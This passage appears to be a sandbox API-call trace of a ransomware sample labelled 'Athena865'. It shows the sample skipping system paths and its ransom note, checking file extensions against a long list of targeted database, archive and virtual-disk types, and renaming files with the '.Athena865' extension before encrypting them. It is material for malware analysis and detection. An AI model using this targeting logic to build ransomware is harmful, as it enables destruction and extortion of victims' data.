| out: phProv=0x241d174*=0x518ef8) returned 1 [0090.578] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0090.578] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.578] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0090.578] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0090.578] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0090.578] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0090.578] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.578] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0090.578] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0090.579] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0090.579] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.579] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0090.579] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0090.579] CloseHandle (hObject=0x154) returned 1 [0090.580] CloseHandle (hObject=0x17c) returned 1 [0090.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0090.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0090.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0090.580] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSPVWCTL.DLL.mui", cAlternateFileName="")) returned 1 [0090.580] lstrcmpiW (lpString1="MSPVWCTL.DLL.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0090.580] lstrcmpiW (lpString1="MSPVWCTL.DLL.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0090.580] lstrcmpiW (lpString1="MSPVWCTL.DLL.mui", lpString2=".") returned 1 [0090.580] lstrcmpiW (lpString1="MSPVWCTL.DLL.mui", lpString2="..") returned 1 [0090.580] lstrcmpiW (lpString1="MSPVWCTL.DLL.mui", lpString2="windows") returned -1 [0090.580] lstrcmpiW (lpString1="MSPVWCTL.DLL.mui", lpString2="bootmgr") returned 1 [0090.580] lstrcmpiW (lpString1="MSPVWCTL.DLL.mui", lpString2="temp") returned -1 [0090.580] lstrcmpiW (lpString1="MSPVWCTL.DLL.mui", lpString2="pagefile.sys") returned -1 [0090.580] lstrcmpiW (lpString1="MSPVWCTL.DLL.mui", lpString2="boot") returned 1 [0090.581] lstrcmpiW (lpString1="MSPVWCTL.DLL.mui", lpString2="ids.txt") returned 1 [0090.581] lstrcmpiW (lpString1="MSPVWCTL.DLL.mui", lpString2="ntuser.dat") returned -1 [0090.581] lstrcmpiW (lpString1="MSPVWCTL.DLL.mui", lpString2="perflogs") returned -1 [0090.581] lstrcmpiW (lpString1="MSPVWCTL.DLL.mui", lpString2="MSBuild") returned 1 [0090.581] lstrlenW (lpString="MSPVWCTL.DLL.mui") returned 16 [0090.581] lstrcpyW (in: lpString1=0x241e896, lpString2="MSPVWCTL.DLL.mui" | out: lpString1="MSPVWCTL.DLL.mui") returned="MSPVWCTL.DLL.mui" [0090.581] lstrlenW (lpString="MSPVWCTL.DLL.mui") returned 16 [0090.581] lstrlenW (lpString="Athena865") returned 9 [0090.581] lstrcmpiW (lpString1="L.DLL.mui", lpString2="Athena865") returned 1 [0090.581] lstrlenW (lpString=".dll") returned 4 [0090.581] lstrcmpiW (lpString1="MSPVWCTL.DLL.mui", lpString2=".dll") returned 1 [0090.581] lstrlenW (lpString=".lnk") returned 4 [0090.581] lstrcmpiW (lpString1="MSPVWCTL.DLL.mui", lpString2=".lnk") returned 1 [0090.581] lstrlenW (lpString=".ini") returned 4 [0090.581] lstrcmpiW (lpString1="MSPVWCTL.DLL.mui", lpString2=".ini") returned 1 [0090.581] lstrlenW (lpString=".sys") returned 4 [0090.581] lstrcmpiW (lpString1="MSPVWCTL.DLL.mui", lpString2=".sys") returned 1 [0090.581] lstrlenW (lpString="MSPVWCTL.DLL.mui") returned 16 [0090.581] lstrlenW (lpString="bak") returned 3 [0090.581] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1 [0090.581] lstrlenW (lpString="ba_") returned 3 [0090.581] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1 [0090.581] lstrlenW (lpString="dbb") returned 3 [0090.581] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1 [0090.581] lstrlenW (lpString="vmdk") returned 4 [0090.581] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1 [0090.581] lstrlenW (lpString="rar") returned 3 [0090.581] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1 [0090.581] lstrlenW (lpString="zip") returned 3 [0090.581] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1 [0090.581] lstrlenW (lpString="tgz") returned 3 [0090.581] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1 [0090.582] lstrlenW (lpString="vbox") returned 4 [0090.582] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1 [0090.582] lstrlenW (lpString="vdi") returned 3 [0090.582] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1 [0090.582] lstrlenW (lpString="vhd") returned 3 [0090.582] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1 [0090.582] lstrlenW (lpString="vhdx") returned 4 [0090.582] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1 [0090.582] lstrlenW (lpString="avhd") returned 4 [0090.582] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1 [0090.582] lstrlenW (lpString="db") returned 2 [0090.582] lstrcmpiW (lpString1="ui", lpString2="db") returned 1 [0090.582] lstrlenW (lpString="db2") returned 3 [0090.582] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1 [0090.582] lstrlenW (lpString="db3") returned 3 [0090.582] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1 [0090.582] lstrlenW (lpString="dbf") returned 3 [0090.582] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1 [0090.582] lstrlenW (lpString="mdf") returned 3 [0090.582] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1 [0090.582] lstrlenW (lpString="mdb") returned 3 [0090.582] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1 [0090.582] lstrlenW (lpString="sql") returned 3 [0090.582] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1 [0090.582] lstrlenW (lpString="sqlite") returned 6 [0090.582] lstrcmpiW (lpString1="LL.mui", lpString2="sqlite") returned -1 [0090.582] lstrlenW (lpString="sqlite3") returned 7 [0090.582] lstrcmpiW (lpString1="DLL.mui", lpString2="sqlite3") returned -1 [0090.582] lstrlenW (lpString="sqlitedb") returned 8 [0090.582] lstrcmpiW (lpString1=".DLL.mui", lpString2="sqlitedb") returned -1 [0090.582] lstrlenW (lpString="xml") returned 3 [0090.582] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1 [0090.583] lstrlenW (lpString="$er") returned 3 [0090.583] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1 [0090.583] lstrlenW (lpString="4dd") returned 3 [0090.583] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1 [0090.583] lstrlenW (lpString="4dl") returned 3 [0090.583] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1 [0090.583] lstrlenW (lpString="^^^") returned 3 [0090.583] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1 [0090.583] lstrlenW (lpString="abs") returned 3 [0090.583] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1 [0090.583] lstrlenW (lpString="abx") returned 3 [0090.583] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1 [0090.583] lstrlenW (lpString="accdb") returned 5 [0090.583] lstrcmpiW (lpString1="L.mui", lpString2="accdb") returned 1 [0090.583] lstrlenW (lpString="accdc") returned 5 [0090.583] lstrcmpiW (lpString1="L.mui", lpString2="accdc") returned 1 [0090.583] lstrlenW (lpString="accde") returned 5 [0090.583] lstrcmpiW (lpString1="L.mui", lpString2="accde") returned 1 [0090.583] lstrlenW (lpString="accdr") returned 5 [0090.583] lstrcmpiW (lpString1="L.mui", lpString2="accdr") returned 1 [0090.583] lstrlenW (lpString="accdt") returned 5 [0090.583] lstrcmpiW (lpString1="L.mui", lpString2="accdt") returned 1 [0090.583] lstrlenW (lpString="accdw") returned 5 [0090.583] lstrcmpiW (lpString1="L.mui", lpString2="accdw") returned 1 [0090.583] lstrlenW (lpString="accft") returned 5 [0090.583] lstrcmpiW (lpString1="L.mui", lpString2="accft") returned 1 [0090.583] lstrlenW (lpString="adb") returned 3 [0090.583] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0090.583] lstrlenW (lpString="adb") returned 3 [0090.583] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0090.583] lstrlenW (lpString="ade") returned 3 [0090.583] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1 [0090.583] lstrlenW (lpString="adf") returned 3 [0090.584] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1 [0090.584] lstrlenW (lpString="adn") returned 3 [0090.584] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1 [0090.584] lstrlenW (lpString="adp") returned 3 [0090.584] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1 [0090.584] lstrlenW (lpString="alf") returned 3 [0090.584] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1 [0090.584] lstrlenW (lpString="ask") returned 3 [0090.584] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1 [0090.584] lstrlenW (lpString="btr") returned 3 [0090.584] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1 [0090.584] lstrlenW (lpString="cat") returned 3 [0090.584] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1 [0090.584] lstrlenW (lpString="cdb") returned 3 [0090.584] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1 [0090.584] lstrlenW (lpString="ckp") returned 3 [0090.584] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1 [0090.584] lstrlenW (lpString="cma") returned 3 [0090.584] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1 [0090.584] lstrlenW (lpString="cpd") returned 3 [0090.584] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1 [0090.584] lstrlenW (lpString="dacpac") returned 6 [0090.584] lstrcmpiW (lpString1="LL.mui", lpString2="dacpac") returned 1 [0090.584] lstrlenW (lpString="dad") returned 3 [0090.584] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1 [0090.584] lstrlenW (lpString="dadiagrams") returned 10 [0090.584] lstrcmpiW (lpString1="TL.DLL.mui", lpString2="dadiagrams") returned 1 [0090.584] lstrlenW (lpString="daschema") returned 8 [0090.584] lstrcmpiW (lpString1=".DLL.mui", lpString2="daschema") returned -1 [0090.584] lstrlenW (lpString="db-journal") returned 10 [0090.584] lstrcmpiW (lpString1="TL.DLL.mui", lpString2="db-journal") returned 1 [0090.584] lstrlenW (lpString="db-shm") returned 6 [0090.585] lstrcmpiW (lpString1="LL.mui", lpString2="db-shm") returned 1 [0090.585] lstrlenW (lpString="db-wal") returned 6 [0090.585] lstrcmpiW (lpString1="LL.mui", lpString2="db-wal") returned 1 [0090.585] lstrlenW (lpString="dbc") returned 3 [0090.585] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1 [0090.585] lstrlenW (lpString="dbs") returned 3 [0090.585] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1 [0090.585] lstrlenW (lpString="dbt") returned 3 [0090.585] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1 [0090.585] lstrlenW (lpString="dbv") returned 3 [0090.585] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1 [0090.585] lstrlenW (lpString="dbx") returned 3 [0090.585] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1 [0090.585] lstrlenW (lpString="dcb") returned 3 [0090.585] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1 [0090.585] lstrlenW (lpString="dct") returned 3 [0090.585] lstrcmpiW (lpString1="mui", lpString2="dct") returned 1 [0090.585] lstrlenW (lpString="dcx") returned 3 [0090.585] lstrcmpiW (lpString1="mui", lpString2="dcx") returned 1 [0090.585] lstrlenW (lpString="ddl") returned 3 [0090.585] lstrcmpiW (lpString1="mui", lpString2="ddl") returned 1 [0090.585] lstrlenW (lpString="dlis") returned 4 [0090.585] lstrcmpiW (lpString1=".mui", lpString2="dlis") returned -1 [0090.585] lstrlenW (lpString="dp1") returned 3 [0090.585] lstrcmpiW (lpString1="mui", lpString2="dp1") returned 1 [0090.585] lstrlenW (lpString="dqy") returned 3 [0090.585] lstrcmpiW (lpString1="mui", lpString2="dqy") returned 1 [0090.585] lstrlenW (lpString="dsk") returned 3 [0090.585] lstrcmpiW (lpString1="mui", lpString2="dsk") returned 1 [0090.585] lstrlenW (lpString="dsn") returned 3 [0090.585] lstrcmpiW (lpString1="mui", lpString2="dsn") returned 1 [0090.585] lstrlenW (lpString="dtsx") returned 4 [0090.586] lstrcmpiW (lpString1=".mui", lpString2="dtsx") returned -1 [0090.586] lstrlenW (lpString="dxl") returned 3 [0090.586] lstrcmpiW (lpString1="mui", lpString2="dxl") returned 1 [0090.586] lstrlenW (lpString="eco") returned 3 [0090.586] lstrcmpiW (lpString1="mui", lpString2="eco") returned 1 [0090.586] lstrlenW (lpString="ecx") returned 3 [0090.586] lstrcmpiW (lpString1="mui", lpString2="ecx") returned 1 [0090.586] lstrlenW (lpString="edb") returned 3 [0090.586] lstrcmpiW (lpString1="mui", lpString2="edb") returned 1 [0090.586] lstrlenW (lpString="epim") returned 4 [0090.586] lstrcmpiW (lpString1=".mui", lpString2="epim") returned -1 [0090.586] lstrlenW (lpString="fcd") returned 3 [0090.586] lstrcmpiW (lpString1="mui", lpString2="fcd") returned 1 [0090.586] lstrlenW (lpString="fdb") returned 3 [0090.586] lstrcmpiW (lpString1="mui", lpString2="fdb") returned 1 [0090.586] lstrlenW (lpString="fic") returned 3 [0090.586] lstrcmpiW (lpString1="mui", lpString2="fic") returned 1 [0090.586] lstrlenW (lpString="flexolibrary") returned 12 [0090.586] lstrcmpiW (lpString1="WCTL.DLL.mui", lpString2="flexolibrary") returned 1 [0090.586] lstrlenW (lpString="fm5") returned 3 [0090.586] lstrcmpiW (lpString1="mui", lpString2="fm5") returned 1 [0090.586] lstrlenW (lpString="fmp") returned 3 [0090.586] lstrcmpiW (lpString1="mui", lpString2="fmp") returned 1 [0090.586] lstrlenW (lpString="fmp12") returned 5 [0090.586] lstrcmpiW (lpString1="L.mui", lpString2="fmp12") returned 1 [0090.586] lstrlenW (lpString="fmpsl") returned 5 [0090.586] lstrcmpiW (lpString1="L.mui", lpString2="fmpsl") returned 1 [0090.586] lstrlenW (lpString="fol") returned 3 [0090.586] lstrcmpiW (lpString1="mui", lpString2="fol") returned 1 [0090.586] lstrlenW (lpString="fp3") returned 3 [0090.586] lstrcmpiW (lpString1="mui", lpString2="fp3") returned 1 [0090.586] lstrlenW (lpString="fp4") returned 3 [0090.587] lstrcmpiW (lpString1="mui", lpString2="fp4") returned 1 [0090.587] lstrlenW (lpString="fp5") returned 3 [0090.587] lstrcmpiW (lpString1="mui", lpString2="fp5") returned 1 [0090.587] lstrlenW (lpString="fp7") returned 3 [0090.587] lstrcmpiW (lpString1="mui", lpString2="fp7") returned 1 [0090.587] lstrlenW (lpString="fpt") returned 3 [0090.587] lstrcmpiW (lpString1="mui", lpString2="fpt") returned 1 [0090.587] lstrlenW (lpString="frm") returned 3 [0090.587] lstrcmpiW (lpString1="mui", lpString2="frm") returned 1 [0090.587] lstrlenW (lpString="gdb") returned 3 [0090.587] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0090.587] lstrlenW (lpString="gdb") returned 3 [0090.587] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0090.587] lstrlenW (lpString="grdb") returned 4 [0090.587] lstrcmpiW (lpString1=".mui", lpString2="grdb") returned -1 [0090.587] lstrlenW (lpString="gwi") returned 3 [0090.587] lstrcmpiW (lpString1="mui", lpString2="gwi") returned 1 [0090.587] lstrlenW (lpString="hdb") returned 3 [0090.587] lstrcmpiW (lpString1="mui", lpString2="hdb") returned 1 [0090.587] lstrlenW (lpString="his") returned 3 [0090.587] lstrcmpiW (lpString1="mui", lpString2="his") returned 1 [0090.587] lstrlenW (lpString="ib") returned 2 [0090.587] lstrcmpiW (lpString1="ui", lpString2="ib") returned 1 [0090.587] lstrlenW (lpString="idb") returned 3 [0090.587] lstrcmpiW (lpString1="mui", lpString2="idb") returned 1 [0090.587] lstrlenW (lpString="ihx") returned 3 [0090.587] lstrcmpiW (lpString1="mui", lpString2="ihx") returned 1 [0090.587] lstrlenW (lpString="itdb") returned 4 [0090.587] lstrcmpiW (lpString1=".mui", lpString2="itdb") returned -1 [0090.587] lstrlenW (lpString="itw") returned 3 [0090.587] lstrcmpiW (lpString1="mui", lpString2="itw") returned 1 [0090.587] lstrlenW (lpString="jet") returned 3 [0090.588] lstrcmpiW (lpString1="mui", lpString2="jet") returned 1 [0090.588] lstrlenW (lpString="jtx") returned 3 [0090.588] lstrcmpiW (lpString1="mui", lpString2="jtx") returned 1 [0090.588] lstrlenW (lpString="kdb") returned 3 [0090.588] lstrcmpiW (lpString1="mui", lpString2="kdb") returned 1 [0090.588] lstrlenW (lpString="kexi") returned 4 [0090.588] lstrcmpiW (lpString1=".mui", lpString2="kexi") returned -1 [0090.588] lstrlenW (lpString="kexic") returned 5 [0090.588] lstrcmpiW (lpString1="L.mui", lpString2="kexic") returned 1 [0090.588] lstrlenW (lpString="kexis") returned 5 [0090.588] lstrcmpiW (lpString1="L.mui", lpString2="kexis") returned 1 [0090.588] lstrlenW (lpString="lgc") returned 3 [0090.588] lstrcmpiW (lpString1="mui", lpString2="lgc") returned 1 [0090.588] lstrlenW (lpString="lwx") returned 3 [0090.588] lstrcmpiW (lpString1="mui", lpString2="lwx") returned 1 [0090.588] lstrlenW (lpString="maf") returned 3 [0090.588] lstrcmpiW (lpString1="mui", lpString2="maf") returned 1 [0090.588] lstrlenW (lpString="maq") returned 3 [0090.588] lstrcmpiW (lpString1="mui", lpString2="maq") returned 1 [0090.588] lstrlenW (lpString="mar") returned 3 [0090.588] lstrcmpiW (lpString1="mui", lpString2="mar") returned 1 [0090.588] lstrlenW (lpString="marshal") returned 7 [0090.588] lstrcmpiW (lpString1="DLL.mui", lpString2="marshal") returned -1 [0090.588] lstrlenW (lpString="mas") returned 3 [0090.588] lstrcmpiW (lpString1="mui", lpString2="mas") returned 1 [0090.588] lstrlenW (lpString="mav") returned 3 [0090.588] lstrcmpiW (lpString1="mui", lpString2="mav") returned 1 [0090.588] lstrlenW (lpString="maw") returned 3 [0090.588] lstrcmpiW (lpString1="mui", lpString2="maw") returned 1 [0090.588] lstrlenW (lpString="mdbhtml") returned 7 [0090.588] lstrcmpiW (lpString1="DLL.mui", lpString2="mdbhtml") returned -1 [0090.588] lstrlenW (lpString="mdn") returned 3 [0090.589] lstrcmpiW (lpString1="mui", lpString2="mdn") returned 1 [0090.589] lstrlenW (lpString="mdt") returned 3 [0090.589] lstrcmpiW (lpString1="mui", lpString2="mdt") returned 1 [0090.589] lstrlenW (lpString="mfd") returned 3 [0090.589] lstrcmpiW (lpString1="mui", lpString2="mfd") returned 1 [0090.589] lstrlenW (lpString="mpd") returned 3 [0090.589] lstrcmpiW (lpString1="mui", lpString2="mpd") returned 1 [0090.589] lstrlenW (lpString="mrg") returned 3 [0090.589] lstrcmpiW (lpString1="mui", lpString2="mrg") returned 1 [0090.589] lstrlenW (lpString="mud") returned 3 [0090.589] lstrcmpiW (lpString1="mui", lpString2="mud") returned 1 [0090.589] lstrlenW (lpString="mwb") returned 3 [0090.589] lstrcmpiW (lpString1="mui", lpString2="mwb") returned -1 [0090.589] lstrlenW (lpString="myd") returned 3 [0090.589] lstrcmpiW (lpString1="mui", lpString2="myd") returned -1 [0090.589] lstrlenW (lpString="ndf") returned 3 [0090.589] lstrcmpiW (lpString1="mui", lpString2="ndf") returned -1 [0090.589] lstrlenW (lpString="nnt") returned 3 [0090.589] lstrcmpiW (lpString1="mui", lpString2="nnt") returned -1 [0090.589] lstrlenW (lpString="nrmlib") returned 6 [0090.589] lstrcmpiW (lpString1="LL.mui", lpString2="nrmlib") returned -1 [0090.589] lstrlenW (lpString="ns2") returned 3 [0090.589] lstrcmpiW (lpString1="mui", lpString2="ns2") returned -1 [0090.589] lstrlenW (lpString="ns3") returned 3 [0090.589] lstrcmpiW (lpString1="mui", lpString2="ns3") returned -1 [0090.589] lstrlenW (lpString="ns4") returned 3 [0090.589] lstrcmpiW (lpString1="mui", lpString2="ns4") returned -1 [0090.589] lstrlenW (lpString="nsf") returned 3 [0090.589] lstrcmpiW (lpString1="mui", lpString2="nsf") returned -1 [0090.589] lstrlenW (lpString="nv") returned 2 [0090.589] lstrcmpiW (lpString1="ui", lpString2="nv") returned 1 [0090.589] lstrlenW (lpString="nv2") returned 3 [0090.590] lstrcmpiW (lpString1="mui", lpString2="nv2") returned -1 [0090.590] lstrlenW (lpString="nwdb") returned 4 [0090.590] lstrcmpiW (lpString1=".mui", lpString2="nwdb") returned -1 [0090.590] lstrlenW (lpString="nyf") returned 3 [0090.590] lstrcmpiW (lpString1="mui", lpString2="nyf") returned -1 [0090.590] lstrlenW (lpString="odb") returned 3 [0090.590] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0090.590] lstrlenW (lpString="odb") returned 3 [0090.590] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0090.590] lstrlenW (lpString="oqy") returned 3 [0090.590] lstrcmpiW (lpString1="mui", lpString2="oqy") returned -1 [0090.590] lstrlenW (lpString="ora") returned 3 [0090.590] lstrcmpiW (lpString1="mui", lpString2="ora") returned -1 [0090.590] lstrlenW (lpString="orx") returned 3 [0090.590] lstrcmpiW (lpString1="mui", lpString2="orx") returned -1 [0090.590] lstrlenW (lpString="owc") returned 3 [0090.590] lstrcmpiW (lpString1="mui", lpString2="owc") returned -1 [0090.590] lstrlenW (lpString="p96") returned 3 [0090.590] lstrcmpiW (lpString1="mui", lpString2="p96") returned -1 [0090.590] lstrlenW (lpString="p97") returned 3 [0090.590] lstrcmpiW (lpString1="mui", lpString2="p97") returned -1 [0090.590] lstrlenW (lpString="pan") returned 3 [0090.590] lstrcmpiW (lpString1="mui", lpString2="pan") returned -1 [0090.590] lstrlenW (lpString="pdb") returned 3 [0090.590] lstrcmpiW (lpString1="mui", lpString2="pdb") returned -1 [0090.590] lstrlenW (lpString="pdm") returned 3 [0090.590] lstrcmpiW (lpString1="mui", lpString2="pdm") returned -1 [0090.590] lstrlenW (lpString="pnz") returned 3 [0090.590] lstrcmpiW (lpString1="mui", lpString2="pnz") returned -1 [0090.590] lstrlenW (lpString="qry") returned 3 [0090.590] lstrcmpiW (lpString1="mui", lpString2="qry") returned -1 [0090.590] lstrlenW (lpString="qvd") returned 3 [0090.590] lstrcmpiW (lpString1="mui", lpString2="qvd") returned -1 [0090.591] lstrlenW (lpString="rbf") returned 3 [0090.591] lstrcmpiW (lpString1="mui", lpString2="rbf") returned -1 [0090.591] lstrlenW (lpString="rctd") returned 4 [0090.591] lstrcmpiW (lpString1=".mui", lpString2="rctd") returned -1 [0090.591] lstrlenW (lpString="rod") returned 3 [0090.591] lstrcmpiW (lpString1="mui", lpString2="rod") returned -1 [0090.591] lstrlenW (lpString="rodx") returned 4 [0090.591] lstrcmpiW (lpString1=".mui", lpString2="rodx") returned -1 [0090.591] lstrlenW (lpString="rpd") returned 3 [0090.591] lstrcmpiW (lpString1="mui", lpString2="rpd") returned -1 [0090.591] lstrlenW (lpString="rsd") returned 3 [0090.591] lstrcmpiW (lpString1="mui", lpString2="rsd") returned -1 [0090.591] lstrlenW (lpString="sas7bdat") returned 8 [0090.591] lstrcmpiW (lpString1=".DLL.mui", lpString2="sas7bdat") returned -1 [0090.591] lstrlenW (lpString="sbf") returned 3 [0090.591] lstrcmpiW (lpString1="mui", lpString2="sbf") returned -1 [0090.591] lstrlenW (lpString="scx") returned 3 [0090.592] lstrcmpiW (lpString1="mui", lpString2="scx") returned -1 [0090.592] lstrlenW (lpString="sdb") returned 3 [0090.592] lstrcmpiW (lpString1="mui", lpString2="sdb") returned -1 [0090.592] lstrlenW (lpString="sdc") returned 3 [0090.592] lstrcmpiW (lpString1="mui", lpString2="sdc") returned -1 [0090.592] lstrlenW (lpString="sdf") returned 3 [0090.592] lstrcmpiW (lpString1="mui", lpString2="sdf") returned -1 [0090.592] lstrlenW (lpString="sis") returned 3 [0090.592] lstrcmpiW (lpString1="mui", lpString2="sis") returned -1 [0090.592] lstrlenW (lpString="spq") returned 3 [0090.592] lstrcmpiW (lpString1="mui", lpString2="spq") returned -1 [0090.592] lstrlenW (lpString="te") returned 2 [0090.593] lstrcmpiW (lpString1="ui", lpString2="te") returned 1 [0090.593] lstrlenW (lpString="teacher") returned 7 [0090.593] lstrcmpiW (lpString1="DLL.mui", lpString2="teacher") returned -1 [0090.593] lstrlenW (lpString="tmd") returned 3 [0090.593] lstrcmpiW (lpString1="mui", lpString2="tmd") returned -1 [0090.593] lstrlenW (lpString="tps") returned 3 [0090.593] lstrcmpiW (lpString1="mui", lpString2="tps") returned -1 [0090.593] lstrlenW (lpString="trc") returned 3 [0090.593] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0090.593] lstrlenW (lpString="trc") returned 3 [0090.593] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0090.593] lstrlenW (lpString="trm") returned 3 [0090.593] lstrcmpiW (lpString1="mui", lpString2="trm") returned -1 [0090.593] lstrlenW (lpString="udb") returned 3 [0090.593] lstrcmpiW (lpString1="mui", lpString2="udb") returned -1 [0090.593] lstrlenW (lpString="udl") returned 3 [0090.593] lstrcmpiW (lpString1="mui", lpString2="udl") returned -1 [0090.593] lstrlenW (lpString="usr") returned 3 [0090.593] lstrcmpiW (lpString1="mui", lpString2="usr") returned -1 [0090.593] lstrlenW (lpString="v12") returned 3 [0090.593] lstrcmpiW (lpString1="mui", lpString2="v12") returned -1 [0090.593] lstrlenW (lpString="vis") returned 3 [0090.593] lstrcmpiW (lpString1="mui", lpString2="vis") returned -1 [0090.593] lstrlenW (lpString="vpd") returned 3 [0090.593] lstrcmpiW (lpString1="mui", lpString2="vpd") returned -1 [0090.593] lstrlenW (lpString="vvv") returned 3 [0090.593] lstrcmpiW (lpString1="mui", lpString2="vvv") returned -1 [0090.593] lstrlenW (lpString="wdb") returned 3 [0090.593] lstrcmpiW (lpString1="mui", lpString2="wdb") returned -1 [0090.593] lstrlenW (lpString="wmdb") returned 4 [0090.594] lstrcmpiW (lpString1=".mui", lpString2="wmdb") returned -1 [0090.594] lstrlenW (lpString="wrk") returned 3 [0090.594] lstrcmpiW (lpString1="mui", lpString2="wrk") returned -1 [0090.594] lstrlenW (lpString="xdb") returned 3 [0090.594] lstrcmpiW (lpString1="mui", lpString2="xdb") returned -1 [0090.594] lstrlenW (lpString="xld") returned 3 [0090.594] lstrcmpiW (lpString1="mui", lpString2="xld") returned -1 [0090.594] lstrlenW (lpString="xmlff") returned 5 [0090.594] lstrcmpiW (lpString1="L.mui", lpString2="xmlff") returned -1 [0090.594] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Journal\\en-US\\MSPVWCTL.DLL.mui.Athena865") returned 65 [0090.594] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Journal\\en-US\\MSPVWCTL.DLL.mui" (normalized: "c:\\program files\\windows journal\\en-us\\mspvwctl.dll.mui"), lpNewFileName="C:\\Program Files\\Windows Journal\\en-US\\MSPVWCTL.DLL.mui.Athena865" (normalized: "c:\\program files\\windows journal\\en-us\\mspvwctl.dll.mui.athena865"), dwFlags=0x1) returned 1 [0090.595] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\en-US\\MSPVWCTL.DLL.mui.Athena865" (normalized: "c:\\program files\\windows journal\\en-us\\mspvwctl.dll.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0090.595] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6656) returned 1 [0090.595] RtlAllocateHeap (HeapHandle=0x4f0000, 